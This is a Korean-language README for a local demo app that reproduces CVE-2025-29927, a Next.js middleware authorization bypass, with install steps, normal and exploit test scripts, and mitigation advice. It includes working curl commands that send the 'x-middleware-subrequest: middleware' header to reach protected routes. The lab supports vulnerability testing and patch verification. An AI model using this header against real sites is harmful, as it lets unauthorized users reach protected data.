
CVE-2025-29927(Next.js 미들웨어 인가 우회)을 테스트하고 시연합니다. 악용 및 정상 접근 테스트 스크립트와 수정(완화) 지침을 포함합니다.
이 애플리케이션은 Next.js 미들웨어 인증 우회 취약점(CVE-2025-29927)을 시연합니다.
CVE-2025-29927은 Next.js 미들웨어의 인증 우회 취약점입니다. 특수하게 조작된 HTTP 헤더(x-middleware-subrequest)를 전송함으로써, 공격자는 미들웨어에 구현된 인증 검사를 우회하고 보호된 리소스에 접근할 수 있게 됩니다.
의존성 설치:
cd /var/www/react-nextjs/test-middleware-skip
npm install
개발 서버 실행:
npm run dev
서버가 http://localhost:3000 에서 실행됩니다.
보호된 라우트에 정상적으로 접근해 보세요:
npm run test-normal
또는
curl -v http://localhost:3000/protected-data
미들웨어가 접근을 차단하므로 401 Unauthorized 응답을 받아야 합니다.
악용 헤더를 사용하여 보호된 라우트에 접근해 보세요:
npm run test-exploit
또는
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
애플리케이션이 취약하다면 보호된 데이터와 함께 200 OK 응답을 받게 됩니다.
정상 접근 (차단되어야 함):
curl -v http://localhost:3000/api/protected
악용 헤더 사용:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
이 취약점을 해결하려면 다음을 수행해야 합니다:
Next.js를 패치된 버전으로 업데이트하세요:
업데이트할 수 없다면, 수신 요청에서 x-middleware-subrequest 헤더를 제거하는 리버스 프록시(예: Nginx 또는 Cloudflare)를 구현하세요.
API 라우트가 취약한지 테스트합니다:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
이 도구는 교육 및 보안 테스트 목적으로만 제공됩니다. 본인의 Next.js 애플리케이션이 취약한지 확인하고 패치가 필요한지 검증하는 데 사용하십시오.